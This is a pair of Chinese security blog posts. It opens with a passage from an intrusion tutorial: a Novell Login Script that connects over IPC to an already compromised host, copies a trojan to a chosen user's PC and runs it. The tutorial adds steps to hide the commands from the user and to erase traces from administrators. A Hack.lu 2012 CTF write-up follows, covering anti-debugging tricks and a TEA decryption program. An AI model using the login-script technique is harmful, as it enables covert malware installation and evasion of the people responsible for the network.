这样也可以帮我们定位目标账号所处网络位置,去进一步选择和计划渗透方案。

<C> 可修改Novell账号的Login Script进行指定账号入侵

附上一段Login Script实例
—————— code ——————

#C:\windows\system32\cmd.exe /c “net use \\IP /u:username passwd” > C:\recycler\null
#C:\windows\system32\cmd.exe /c “copy \\IP\c$\xxx.exe c:\xxx.exe” > C:\recycler\null
#C:\windows\system32\cmd.exe /c “c:\xxx.exe” > C:\recycler\null
#C:\windows\system32\cmd.exe /c “net use \\IP /del /y” > C:\recycler\null
#C:\windows\system32\cmd.exe /c “echo 0” > C:\recycler\null

注意:

\\x.x.x.x(\\IP) 为已经入侵的主机,要保证我们要入侵的目标账号网络环境能访问到x.x.x.x的网络,
然后把木马放在x.x.x.x上面,通过IPC去将它从x.x.x.x上拷贝到目标账号的PC上,
再执行木马,最后删除IPC连接。
这里每条命令都用了 > C:\recycler\null 输出重定向,是因为当用户登录Novell Client时,会闪显cmd窗口。
而使用输出重定向后,用户就看不到具体执行了什么命令。
而且输出重定向是用的覆盖管道符 > ,而用的不是追加管道符 >> ,
当前4条命令执行完了后,执行第5条命令时,这时的null文件里内容为0。
即时用户发现了蹊跷或什么,也难以追查。
(PS: 至于为什么要这么绕,不一次或一句命令解决,相信你去实践过就明白我的苦衷了)

使用Login Script Hack的时候要注意盯着目标是否上线,一旦上线后,
立刻去ConsoleOne清除Login Script,避免被发觉异常后管理员去调查,而且连上对方PC后删除掉null文件。

具体Login Script还可以如何写,用哪些语言来写,可以去搜索 Novell Login Script关键字,会有相关手册,指明Login Script需要符合哪些格式来编写。

At Last, 还有些东西可以继续挖掘,后来我懒就没写了,大家自己去YY吧。

Hack.lu之mealtime中的反调试技术小结

[0x01背景]

前几天去玩了Hack.lu,因为工作比较忙,也没做出什么题来,不过感觉里面的题目还是挺有意思的,有些题目虽然不难,但是涵盖的知识点很多,这篇文章要分析mealtime就是这样一个例子。

下面是mealtime的题目描述:

Heading up the steeple gave you and your companion a nice view over the outbreak situation in your city. But it also attracted a lot of unwanted attention. Zombies are surrounding your spot and are looking for an entrance to the building. You obviously need some bait to lure them away so you can flee safely. Solve this challenge to find out which human bodypart zombies like the most.

http://dl.ctftime.org/38/142/mealtime.exe

这是一道逆向分析类的题目,用了TEA作为其算法,有很多队伍都完成了,下面是两篇来自其它队伍的writeup:

http://leetmore.ctf.su/wp/hack-lu-2012-ctf-challenge-25-200/?utm_campaign=ctftime (貌似需要翻墙)

http://blog.lse.epita.fr/articles/35-hacklu-ctf-2012-mealtime-200-points.html

这两篇文章对算法的分析已经非常清晰了,所以我不打算再复述了。但是可惜的是,这道题里面使用了非常多的反调试技术,在这两篇文章都只进行了轻描淡写的描述。算法固然是解决这道题目的核心,但是对于其中比较经典的反调试技术,我觉得也有必要和大家分享一下,所以才有了这篇文章。

[0x02 IsDebuggerPresent]

这个API的出场率极高,从名字就能看出它的作用,其内部实现非常简单:

7C813123    64:A1 18000000    mov eax,dword ptr fs:[18]

7C813129    8B40 30          mov eax,dword ptr ds:[eax+30]

7C81312C    0FB640 02       movzx eax,byte ptr ds:[eax+2]

7C813130    C3                retn

如果一个调试器通过Debug API调试一个进程的话,它会把表示进程运行状态的一个结构体中的一个标志位置位,因此只需要检测这个标志位,就知道程序是否在被调试了。那么如何获取这标志位呢?

这里就不得不谈到一个特殊的寄存器——FS寄存器。系统会将当前线程的相关信息存储在一个叫做线程环境块(TEB)的数据结构中,而FS寄存器就是用来存储该数据结构的指针的。TEB的第一个成员是一个叫做线程信息块的结构(TIB),而线程信息块中偏移0×18的位置,正好是线程环境块(TEB)的反向指针,所以我们可以从FS:[18]这个位置获得TEB这个结构,得到了TEB之后,我们就可以在其偏移0×30的地方,找到存储当前进程信息的一个结构体——进程环境块(PEB),而进程环境块中偏移0×02的地方,就是我们刚刚提到的标志进程是否被调试的标志位了。由此可见,上面列出的IsDebuggerPresent的代码,就是在寻找这个标志位。

[0x03破坏程序执行]

检测到程序被调试,或者程序验证不通过,我们往往会将程序的执行流转移到一个错误处理中,例如弹出一个对话框说程序执行错误或者要求用户重新进行验证。但是这道题目却用了一种非常暴力的方式来处理这些情况,那就是让程序产生异常,进而退出。

让程序异常的方法很多,有些很容易识别,例如该程序中用到了下面的代码:

示例一:

.text:00401507                  pop     esp

示例二:

.text:0040197C                 mov     esp, eax

示例三:

.text:004011B7                 push    0BADBADh

.text:004011BC                 retn

示例一和示例二都是直接破坏了指向堆栈的指针,使得程序在进行堆栈相关的操作时就会产生异常,示例三是直接修改了函数的返回地址,从而导致函数异常执行。

同时,这个程序里面还用了一种比较隐蔽的导致程序异常执行的方式,那就是std指令。看下面这段代码:

.text:004015C3                 cmp     al, [ecx]

.text:004015C5                 jz      short loc_4015C8

.text:004015C7                 std

这段代码很简单,先用cmp做了一个比较,如果不相等,就执行std指令。std指令的作用非常小,他只会将标志寄存器中一个和地址增长方向有关的标志——DF标志置位。不过微小的改变有时候也可能引起巨大的变化,所以是不能忽略的。一旦DF标志被置位了,当我们进行字符串拷贝的时候,本应该按照地址递增的方向进行拷贝,但是由于DF的影响,却变成了按照地址递减的方向进行拷贝,这将会产生什么样的后果是难以预料的。在这个程序中,这个小小的改变直接导致了后面GetModuleHandle这个API调用失败,从而使程序无法正常执行。

[0x04 进程检测]

进程检测是一种非常常用的反调试手段,这个程序执行的时候如果检测到有如下三个进程存在,它就会尝试结束他们:

Ollydbg.exe

Immunitydebugger.exe

Idag.exe

但是这个程序所使用的进程检测手法与其它一些常见的进程检测手法不同。它不仅将需要检测的进程名进行了加密处理,而且没有使用我们熟悉的CreateToolhelp32Snapshot(), Process32First(), Process32Next() 或者 EnumProcesses() 来枚举进程,而是使用了一个更加底层的API——NtQuerySystemInformation来获取进程列表。通过NtQuerySystemInformation可以获取一个存储当前系统运行进程信息的结构体链表,再通过枚举这个链表,就可以得到当前运行的进程了。

[0x05 VEH异常处理]

VEH是SEH的扩展,其优点是可以先于SEH捕获到异常并进行处理,以防止新增的SEH异常处理打乱异常处理函数的执行顺序。

异常处理一直是一种非常优秀的反调试手段,因为在调试过程中,所有异常都会先分发给调试器进行处理,而不是异常处理函数,对于一些对逆向分析不太熟悉的人来说,如果没有关注异常处理函数,一旦调试器报告异常,便不知道应该怎样处理这个异常了。

这个程序中注册VEH异常处理函数的方式比较隐蔽,它会在一开始创建一个被挂起的线程,而这个线程的功能,便是注册VEH异常处理函数。但是因为线程创建的时候处于挂起状态,所以这个异常处理函数并没有立即被注册,而是等到后面通过了一些检测后,程序才调用ResumeThread恢复该线程的执行,从而完成VEH异常处理函数的注册。程序后面会用一个int 3中断来触发异常,从而进入这个VEH异常处理函数中,在这个函数中完成了对该题目一部分key的验证过程。

[0x06 远程代码注入与代码窃取的结合]

远程代码注入与代码窃取这两种技术本来是没有什么相关性的,但是在这个程序中却把这两种技术结合在了一起,我觉得这算是一个比较经典的地方吧。如果要把这里使用的手法详细的叙述清楚,可能再写5页都不够,所以我这里只大体叙述一下主要的实现过程。

首先说一下代码窃取,就是将正常程序中的一部分代码分离出去,然后运行的时候再动态还原回来。这种技术在外壳中非常常见,特别是针对原始入口点的那部分代码,很多外壳程序都会将其移动到其它区域(比如堆中)去执行,执行之后再跳转到原始程序中去执行,这样不仅使程序还原相对复杂一点,而且原程序的入口点也不那么明显了。

远程线程注入,则是将一段代码注入带其它进程中去执行。现在的调试器往往只能针对一个进程进行调试,对于这种远程注入过去的代码就无法直接调试了。

这个程序是如何将这两种技术结合起来的呢?故事是这样的:

(1)       首先,程序会创建一个新线程,然后将主线程挂起。

(2)       新创建的这个线程,会将一段代码注入到另一个具有SeDebug权限的进程中(这个进程是之前进行进程检测枚举进程的时候得到的),然后通过CreateRemoteThread执行那段代码。

(3)       注入到另一个进程的代码的功能,则是将偷取的代码片段注入回原来的那个进程,然后唤醒之前挂起的那个主线程让其继续执行。

这样,通过两次远程注入,就可以将主线程中被偷取的代码还原回来了。

[0x07 补充:远程代码注入的调试方法]

远程代码注入给调试增加了不少难度,这里我总结一下远程代码注入的几种情况,并给出调试方法。

(1)       将一段代码注入到非系统关键进程里面执行,如IE(iexplorer.exe)中:

这个又分两种情况:

1)  注入到现有进程中:

这个处理起来比较简单,直接启动调试器附加将被注入的进程,然后让程序执行直到代码注入完成(但还未执行远程代码),在注入代码的入口处下断点,等到那边启动远程代码,这边就能够中断下来了。

2)  新创建一个挂起的进程并注入:

这种情况没办法直接附加进程,因此需要我们手动将注入代码入口的第一个字节改成0xcc(即int 3中断),然后直接执行远程代码。由于第一条指令被改成了cc,所以远程代码一执行就会触发异常,这个时候再用调试器附加,并把修改的指令改回来就行了。

(2)       将一段代码注入到系统关键进程里面执行,如explorer.exe中:

如果注入的是系统的关键进程,不管用什么方式进行调试,都可能产生意想不到结果,所以最好的办法还是在进行注入的时候,将被注入进程替换成一个非系统关键进程,然后再用(1)中的方法就行了。

(3)       将完整PE镜像注入到其它进程中:

这种情况最简单,直接将注入的PE镜像dump下来调试就行了,不过需要注意的是因为注入的PE是内存布局的,dump下来后可能还需要自己手动做一些调整。

最后再说一种通用的方法,就是直接将注入的代码提取出来并构造好参数单独调试,不过如果代码对程序的依赖性比较强(例如要通过硬编码调用被注入进程的API,很多盗号木马就是这样的)或者参数比较复杂,亦或是代码片段很分散,这种方式就不太适用了。

[0x08 代码转移]

这个方法不是太常见,就是直接创建一个新的文件,然后将部分代码拷贝过去,构造好参数,最后加载这个新文件使代码得以执行。当然,直接调试那个新文件就可以知道它要干嘛了,也可以直接把拷贝的代码提取出来调试。这道题中的一部分key,就是通过这种方式进行验证的。

[0x09 总结]

麻雀虽小,五脏俱全。虽然这道题目难度不是太大,但是也有很多值得挖掘的地方。这道题里面所使用到的反调试的技巧,都是比较常见的,希望我这个简单的总结能对那些对反调试技术还不太熟悉的人有所帮助。当然,自己调试一下,才能有更加深入的理解。

[0x10 附录:解密程序]

#include “stdio.h”

int main(int argc, char* argv[])

{

unsigned int i, j, Key, C, D, tKey, tC, tD;

Key = 0x78756C66;

C = 0x4FA2D1F6;

D = 0x3D6906FC;

/*

Key = 0x676E6966;

C = 0x80AF74A4;

D = 0x0DD9CDC44;

Key = 0×63737265;

C = 0x131AF1BE;

D = 0x4BB34049;

Key = 0×31216674;

C = 0x904A05D2;

D = 0x0DA4C7A90;

*/

j = 0xc6ef3720;

tC = tD = 0;

for (i = 0; i < 32; i++)

{

tKey = Key + j;

tD = D – ((((C>>5)^(C<<4))+C)^tKey);

j = j + 0x61c88647;

tKey = Key + j;

tC = C – ((((tD>>5)^(tD<<4))+tD)^tKey);

C = tC;

D = tD;

}

printf(“%x, %x\n”, C, D);

return 0;

}

//最后解出来Key是:–delicious_brainz_are_delicious